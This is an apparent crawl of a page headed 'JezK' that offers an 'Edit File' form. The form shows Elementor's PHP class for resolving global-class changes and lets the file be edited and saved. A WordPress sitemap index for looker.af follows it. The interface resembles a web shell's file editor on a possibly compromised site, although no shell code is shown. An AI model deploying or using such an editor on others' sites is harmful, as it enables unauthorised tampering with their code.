
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: global-classes-changes-resolver.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Elementor\Modules\GlobalClasses;

use Elementor\Core\Utils\Collection;

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit; // Exit if accessed directly.
}

class Global_Classes_Changes_Resolver {
	private Global_Classes_Repository $repository;

	private Collection $added;

	private Collection $deleted;

	private Collection $modified;

	public function __construct( Global_Classes_Repository $repository, array $changes ) {
		$this-&gt;repository = $repository;
		$this-&gt;added = Collection::make( $changes[&#039;added&#039;] ?? [] );
		$this-&gt;deleted = Collection::make( $changes[&#039;deleted&#039;] ?? [] );
		$this-&gt;modified = Collection::make( $changes[&#039;modified&#039;] ?? [] );
	}

	public static function make( Global_Classes_Repository $repository, array $changes ): self {
		return new self( $repository, $changes );
	}

	public function resolve_items( array $payload ) {
		$touched = $this-&gt;added-&gt;merge( $this-&gt;modified )-&gt;values();

		$items_to_save = Collection::make( $payload )-&gt;only( $touched );

		return $this-&gt;repository
			-&gt;all()
			-&gt;get_items()
			-&gt;except( $this-&gt;deleted-&gt;values() )
			-&gt;merge( $items_to_save )
			-&gt;all();
	}

	public function resolve_order( array $payload ) {
		$payload = Collection::make( $payload );

		$current_order = $this-&gt;repository-&gt;all()-&gt;get_order();

		$missing_in_current_order = $payload
			-&gt;filter( fn( $item ) =&gt; ! $this-&gt;added-&gt;contains( $item ) )
			-&gt;diff( $current_order );

		$payload = $payload-&gt;filter( fn( $item ) =&gt; ! $missing_in_current_order-&gt;contains( $item ) );

		$missing_in_payload = $current_order
			-&gt;filter( fn( $item ) =&gt; ! $this-&gt;deleted-&gt;contains( $item ) )
			-&gt;diff( $payload );

		return $missing_in_payload
			-&gt;merge( $payload )
			-&gt;all();
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
